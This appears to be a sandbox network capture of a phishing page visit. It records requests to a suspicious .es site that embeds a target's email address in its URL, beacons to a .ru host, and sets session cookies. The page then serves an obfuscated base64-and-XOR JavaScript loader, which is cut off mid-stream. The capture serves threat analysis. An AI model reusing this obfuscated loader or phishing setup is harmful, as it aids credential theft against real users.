2025-03-18 12:33:31 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-18 12:33:31 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:32 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8M
2025-03-18 12:33:32 UTC	435	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:32 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9224c2532ddf186d-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:33:32 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-18 12:33:32 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:49 UTC	561	OUT	GET /kella$j85snp HTTP/1.1 Host: 4728.xqwqkd.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ajd.asfhkkiv.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:49 UTC	817	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cuHoU430fdAHIwc9M8re4quPS4KtzZMV0e4yqB86LpsOt%2Bwj6CvMxDn1x7C1RfHvMKpog0nvVh7c7W1xV94LO6FvV7vpIJxyMiG50fTIShMmEYyHDVCIIHz2MytHxU7G2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224c2b9ea985017-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1969&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1133&delivery_rate=1459270&cwnd=86&unsent_bytes=0&cid=d5acdc6ae5354b51&ts=710&x=0"
2025-03-18 12:33:49 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 12:33:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:50 UTC	1460	OUT	POST /xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive Content-Length: 817 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymtIu2zmRx2DaED6J sec-ch-ua-mobile: ?0 Accept: / Origin: https://ajd.asfhkkiv.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjlwOEFtTTJkYkJ0UXg3WkZaeTJ5eHc9PSIsInZhbHVlIjoiZ3FuQi9PRVdZS3FRekYraU5TM0NDSkxYUHkyYm1vUEtlNmtsbHpnT0dyL1Z2QnlzaU9ja1c3OC9xYlYxN0Y1Z1lraWpCdjh3cVhlblVRMis5aktDdExTeERDa3hIUmt6UTg5ZCtJMlV2M2Z5bktVdXl0eHI3MHVTSGNSdGFnUmIiLCJtYWMiOiI5NjE2YTg2YzJmN2JjZTYzZGU3OGMzNjc0MDQyNTQyZTQ5MzIwYTFhYmVjNGI0MDEwYmRjOTYyODAwY2NiMDMzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNYRDB2R1FnWkNESFVaSWFpQVp5YkE9PSIsInZhbHVlIjoidkNoS3ZJQlpJRWNkM2RDZDNmMUJQaUh3dGtJUEVmQzdTOERZR1duTnN1WndYOVNsVm1pSzBlY3NjNkppaklKalRZWlpYSml3MG9jeDAwYXVqblk4bFo3NW55WVI5SW1rZHFXemp3Wno5Y0taWUNJNjhya0tlWmo5WitDWFNaSXkiLCJtYWMiOiI5OThlYWIwYWQwNzVhNGQ2YWFlYzJhOTQyZjg3YmM3ZDFlOGQyYjRmNTZiZDI2NmMwNWY5YzcxMWY2NWRhZjkxIiwidGFnIjoiIn0%3D
2025-03-18 12:33:50 UTC	817	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 74 49 75 32 7a 6d 52 78 32 44 61 45 44 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 6c 33 38 76 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 74 49 75 32 7a 6d 52 78 32 44 61 45 44 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 4f 34 6e 58 57 63 30 53 69 4d 73 38 36 4a 46 45 43 42 63 79 4d 47 46 55 51 58 74 35 48 6a 34 57 72 4a 67 6a 38 6c 77 59 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 74 49 75 32 Data Ascii: ------WebKitFormBoundarymtIu2zmRx2DaED6JContent-Disposition: form-data; name="bltpg"l38v------WebKitFormBoundarymtIu2zmRx2DaED6JContent-Disposition: form-data; name="sid"O4nXWc0SiMs86JFECBcyMGFUQXt5Hj4WrJgj8lwY------WebKitFormBoundarymtIu2
2025-03-18 12:33:50 UTC	1179	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MjJE%2BlNwKyJPRhOig%2BBBP202qv92BT6ZbqbbV1G9x67y0ctzqEPqCZUjZvzqXmizvROZkCAit2cWjdvc8co5NduQgHhS4hFjxPSHho5fpFeQWqn95cFCNH%2FjoP77sao0Ht9j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=980&min_rtt=964&rtt_var=373&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3187&delivery_rate=2954356&cwnd=217&unsent_bytes=0&cid=4fcb5f51f8723520&ts=220&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InVXTmdxSzhzVkVrbUg1bG8vQW5ldFE9PSIsInZhbHVlIjoiZ0J1NG1Zblp0Z2xhRVZyN1VaaDhyb0JNcGhSbC9mQnBSbjhZMmdKKzR3NURMZlN2YmxUYjNwcEtXUzk5ZVM5UXNTYzFyNTdoTkVEL1RFcFZFNnNzWlQ5cnllejBIb2ZDQ1gvUnh6SUgyN2Y3Qm5xd0dKNVREYjF0SndwbEo5bjYiLCJtYWMiOiI2YzIxNDkwNDY0Y2NkMjA1NDMwNjdkMzQzMDk5MTRlNjRhZjkxNTk3NjRjZWMyMmY3MWNjMWVmMTE5YjUwNDhjIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:50 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:50 UTC	785	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6f 34 4f 46 6c 51 56 47 77 31 63 32 74 4d 61 58 52 71 52 6a 42 32 4b 32 6f 32 62 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 55 68 61 4e 54 64 4e 63 6d 63 72 5a 31 67 77 59 6d 5a 70 55 58 46 54 65 47 4a 73 52 6e 46 75 4e 33 6f 78 62 56 41 7a 5a 53 39 45 55 56 52 6e 55 53 39 35 59 6b 52 69 56 44 52 47 65 57 46 4a 4b 32 68 4d 61 54 6c 48 64 6b 4e 4a 57 48 64 33 54 6d 31 47 5a 46 52 57 56 33 46 6d 55 7a 45 7a 56 57 6c 55 4d 54 59 76 56 58 56 43 59 32 31 74 63 6e 42 57 64 58 68 4e 57 6a 68 6e 4e 31 46 4d 62 56 64 53 51 32 4a 57 56 57 39 52 52 6d 74 57 52 56 6c 47 52 33 4a 34 65 6d 56 35 55 6e 56 4f 59 57 78 74 61 6b 78 57 54 32 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Iko4OFlQVGw1c2tMaXRqRjB2K2o2b2c9PSIsInZhbHVlIjoiaUhaNTdNcmcrZ1gwYmZpUXFTeGJsRnFuN3oxbVAzZS9EUVRnUS95YkRiVDRGeWFJK2hMaTlHdkNJWHd3Tm1GZFRWV3FmUzEzVWlUMTYvVXVCY21tcnBWdXhNWjhnN1FMbVdSQ2JWVW9RRmtWRVlGR3J4emV5UnVOYWxtakxWT24
2025-03-18 12:33:50 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-18 12:33:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:50 UTC	390	OUT	GET /kella$j85snp HTTP/1.1 Host: 4728.xqwqkd.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:51 UTC	821	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AEWJsWK88FhpzQTHbl2H6FKnlbOtZkt%2F%2FVhehMVEsnlI5z8Q6%2FYwGmvEEyOtGkV7yQhuzOkvQR6UH8zduyY9Qs9UxDElp8IkwQXf1KlbkRwzqa1fqOAIKSzOBQky5eLROA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224c2c24e2a430a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1647&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=962&delivery_rate=1710603&cwnd=231&unsent_bytes=0&cid=eec359672cfe5101&ts=718&x=0"
2025-03-18 12:33:51 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 12:33:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:51 UTC	1536	OUT	GET /rIMOdeCtriNV/mdiaz%40estrellagalicia.es HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InVXTmdxSzhzVkVrbUg1bG8vQW5ldFE9PSIsInZhbHVlIjoiZ0J1NG1Zblp0Z2xhRVZyN1VaaDhyb0JNcGhSbC9mQnBSbjhZMmdKKzR3NURMZlN2YmxUYjNwcEtXUzk5ZVM5UXNTYzFyNTdoTkVEL1RFcFZFNnNzWlQ5cnllejBIb2ZDQ1gvUnh6SUgyN2Y3Qm5xd0dKNVREYjF0SndwbEo5bjYiLCJtYWMiOiI2YzIxNDkwNDY0Y2NkMjA1NDMwNjdkMzQzMDk5MTRlNjRhZjkxNTk3NjRjZWMyMmY3MWNjMWVmMTE5YjUwNDhjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iko4OFlQVGw1c2tMaXRqRjB2K2o2b2c9PSIsInZhbHVlIjoiaUhaNTdNcmcrZ1gwYmZpUXFTeGJsRnFuN3oxbVAzZS9EUVRnUS95YkRiVDRGeWFJK2hMaTlHdkNJWHd3Tm1GZFRWV3FmUzEzVWlUMTYvVXVCY21tcnBWdXhNWjhnN1FMbVdSQ2JWVW9RRmtWRVlGR3J4emV5UnVOYWxtakxWT24iLCJtYWMiOiIwMTA1NzhiZGUzZjQ4YzYwZTNkYmY1MDNhNGI0M2U4ZTYxYWNjOWQ3ZTE0Nzg1NDllN2IwYmI1OGJjZGY5OTgwIiwidGFnIjoiIn0%3D
2025-03-18 12:33:51 UTC	1212	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IzpZ1Oi4CFOJOt7IhSiO9rsg0gqWiZ65c59wKO8SNG3rG6C%2FUvwi%2F7pn5XY6xeLJaZrnA2fzLm5YzF2E6JRg0Kza%2FwbeWLAWg4jhPxKOSUO35SemFz%2BsF95v6BVipdAfaJ8T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=874&min_rtt=861&rtt_var=332&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2430&delivery_rate=3307781&cwnd=251&unsent_bytes=0&cid=51dee31be0363103&ts=411&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InVpOUpvV3JhRGJyVHJSWU10cjQwNVE9PSIsInZhbHVlIjoiLzlOc3JDSE5aRlQxSWF5Tm12QjljZFRXNWg4M3JGcmtScG5WT3BWbzc1NStqU2NNQ21VZGhUZFltVkNHWEltdGN4TlplRVlZSzNmVDBnVUt3QUlTeWtQUnNqTkRGSEVxeVd4SEY1MGhZUzJQQjBkMEhUWmNZd2kvanBGcy81cnkiLCJtYWMiOiIxNTVjYWI4ZTk4YTk1YmNhMmI2MWU1OWYzMTg1MTU4YzU4MmM1YmI4NTEyMDg0YmJhY2Q5NjUyMGZlNjE4MGYzIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:51 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:51 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 43 4c 31 46 56 61 30 68 77 52 31 52 68 5a 7a 49 33 59 32 70 35 52 45 35 6e 59 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 44 68 33 65 6c 6c 6f 4b 32 5a 56 57 44 5a 30 53 6e 52 48 52 45 68 47 4b 79 39 53 4e 56 52 6e 57 48 6c 35 4f 44 6c 79 64 7a 4a 4a 4d 45 55 34 61 6d 59 31 53 6d 78 30 61 45 59 32 51 30 52 53 64 58 42 34 61 48 70 79 62 58 45 35 61 45 52 78 52 32 52 35 53 56 56 70 4e 45 64 34 4c 7a 6c 45 5a 6d 56 77 54 6c 4e 56 52 32 70 58 53 32 31 53 5a 45 64 61 4c 31 52 71 56 45 6c 6a 57 47 64 42 56 6c 4e 50 4d 54 68 57 54 33 63 32 61 32 64 4d 55 6b 6b 7a 61 31 68 30 54 48 56 36 63 6b 6c 79 51 30 49 35 64 32 35 78 4c 32 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJCL1FVa0hwR1RhZzI3Y2p5RE5nY0E9PSIsInZhbHVlIjoiWDh3elloK2ZVWDZ0SnRHREhGKy9SNVRnWHl5ODlydzJJMEU4amY1Smx0aEY2Q0RSdXB4aHpybXE5aERxR2R5SVVpNEd4LzlEZmVwTlNVR2pXS21SZEdaL1RqVEljWGdBVlNPMThWT3c2a2dMUkkza1h0THV6cklyQ0I5d25xL2o
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 39 66 38 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4f 54 63 61 51 76 58 70 79 45 28 6a 79 52 42 47 62 62 69 4a 4c 2c 20 43 68 71 4e 6f 4d 56 4a 51 51 29 20 7b 0d 0a 6c 65 74 20 74 58 6d 78 73 55 64 7a 70 5a 20 3d 20 27 27 3b 0d 0a 6a 79 52 42 47 62 62 69 4a 4c 20 3d 20 61 74 6f 62 28 6a 79 52 42 47 62 62 69 4a 4c 29 3b 0d 0a 6c 65 74 20 53 5a 74 6f 5a 43 65 69 74 62 20 3d 20 43 68 71 4e 6f 4d 56 4a 51 51 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 6a 79 52 42 47 62 62 69 4a 4c 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 74 58 6d 78 73 55 64 7a 70 5a 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6a 79 52 42 47 62 62 69 4a 4c 2e 63 68 61 72 43 6f Data Ascii: 9f8<script>function OTcaQvXpyE(jyRBGbbiJL, ChqNoMVJQQ) {let tXmxsUdzpZ = '';jyRBGbbiJL = atob(jyRBGbbiJL);let SZtoZCeitb = ChqNoMVJQQ.length;for (let i = 0; i < jyRBGbbiJL.length; i++) { tXmxsUdzpZ += String.fromCharCode(jyRBGbbiJL.charCo
2025-03-18 12:33:51 UTC	1190	IN	Data Raw: 46 67 70 30 4b 6a 38 63 4c 6a 4e 56 4c 6a 77 66 56 79 5a 71 45 42 59 6a 43 69 56 5a 49 58 67 58 49 52 77 78 4c 42 63 39 4b 42 78 63 49 41 30 32 45 43 4d 6a 49 56 6b 68 64 42 78 72 4d 53 35 4a 46 7a 41 2b 42 31 63 4d 47 7a 6b 42 4d 43 63 31 43 43 46 7a 42 44 38 78 4a 54 74 54 50 53 67 6d 41 43 59 31 44 31 41 77 4c 43 59 57 44 47 63 51 4b 7a 45 75 4e 77 73 56 4f 44 49 41 43 6a 45 36 56 68 6f 4b 49 67 4d 6b 63 77 63 71 49 6a 34 56 49 42 5a 64 4f 6c 77 4b 4d 54 6c 56 4e 79 63 32 56 69 52 78 64 52 4d 78 4a 54 67 44 50 53 77 70 56 77 77 62 4f 51 45 77 4a 7a 55 49 44 55 6b 48 4d 68 77 75 4d 78 63 37 42 69 6f 41 4a 6a 59 75 43 6a 55 6e 4e 68 55 4a 64 79 6b 31 48 43 49 57 41 78 41 6e 49 67 45 66 43 77 38 42 47 46 59 69 57 6a 6b 43 66 44 4d 69 4d 68 59 44 4f 68 55 Data Ascii: Fgp0Kj8cLjNVLjwfVyZqEBYjCiVZIXgXIRwxLBc9KBxcIA02ECMjIVkhdBxrMS5JFzA+B1cMGzkBMCc1CCFzBD8xJTtTPSgmACY1D1AwLCYWDGcQKzEuNwsVODIACjE6VhoKIgMkcwcqIj4VIBZdOlwKMTlVNyc2ViRxdRMxJTgDPSwpVwwbOQEwJzUIDUkHMhwuMxc7BioAJjYuCjUnNhUJdyk1HCIWAxAnIgEfCw8BGFYiWjkCfDMiMhYDOhU
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 31 64 66 62 0d 0a 4b 56 63 4d 47 7a 6b 42 4d 43 63 31 43 43 4e 6b 4e 68 59 37 44 7a 67 44 50 53 77 71 43 51 45 4a 46 79 67 36 44 54 55 49 49 58 4d 48 4b 43 49 50 4f 41 73 75 41 79 4a 32 48 32 73 32 56 53 74 58 50 67 49 4b 59 79 30 30 48 41 73 76 45 52 41 73 41 30 41 4d 45 41 73 6f 4f 67 30 31 43 43 46 7a 42 44 38 78 4a 54 67 44 4c 6a 63 79 58 43 63 32 4b 52 4d 61 4c 44 34 44 44 46 30 54 4c 52 77 6a 4b 77 67 75 41 69 34 42 4a 78 41 70 43 54 49 77 42 79 45 72 57 51 51 2f 4d 53 55 34 41 7a 30 73 4b 56 63 6d 4e 53 35 57 48 54 77 2b 47 69 46 33 48 7a 41 61 4c 6a 63 49 4f 78 68 59 65 77 77 62 4f 51 45 77 4c 45 51 68 4b 31 35 31 4b 44 63 52 53 53 38 75 4b 46 46 61 49 51 39 4a 43 68 73 4b 4a 52 6f 78 5a 78 63 7a 4b 6a 34 6a 43 42 59 42 4f 6e 30 6b 41 44 5a 57 49 Data Ascii: 1dfbKVcMGzkBMCc1CCNkNhY7DzgDPSwqCQEJFyg6DTUIIXMHKCIPOAsuAyJ2H2s2VStXPgIKYy00HAsvERAsA0AMEAsoOg01CCFzBD8xJTgDLjcyXCc2KRMaLD4DDF0TLRwjKwguAi4BJxApCTIwByErWQQ/MSU4Az0sKVcmNS5WHTw+GiF3HzAaLjcIOxhYewwbOQEwLEQhK151KDcRSS8uKFFaIQ9JChsKJRoxZxczKj4jCBYBOn0kADZWI
2025-03-18 12:33:51 UTC	1369	IN	Data Raw: 4d 48 78 42 57 47 7a 4d 44 52 43 74 61 50 54 63 63 49 55 67 58 50 53 67 51 57 43 63 31 47 31 38 77 43 53 49 61 49 56 70 78 45 79 67 68 45 51 67 74 4f 44 6b 62 42 6a 45 35 41 54 41 6e 4e 56 63 4b 5a 78 4e 6f 49 54 55 37 44 68 55 6f 4c 6b 6b 6d 61 69 35 57 4b 54 63 2b 4f 54 35 31 48 43 77 33 4a 54 42 50 4e 77 59 70 56 77 77 62 4f 56 34 62 4d 79 4a 66 4d 57 4d 48 4c 53 45 78 53 41 67 6b 50 43 49 43 4a 41 38 75 56 52 6f 6a 54 52 59 4d 63 77 77 2f 49 56 52 41 45 52 41 6f 50 6b 55 68 48 45 67 50 48 56 59 59 42 41 78 33 49 6d 45 69 49 53 39 57 46 54 67 6d 58 41 6b 41 48 42 59 6a 4c 43 59 41 4a 48 4d 48 4b 42 6f 4c 46 56 51 56 4f 43 35 44 43 51 41 32 44 43 41 7a 44 41 4d 34 5a 41 41 74 4e 53 55 77 54 7a 63 47 4b 56 63 4d 47 7a 6c 65 48 53 4d 59 58 77 70 33 45 48 Data Ascii: 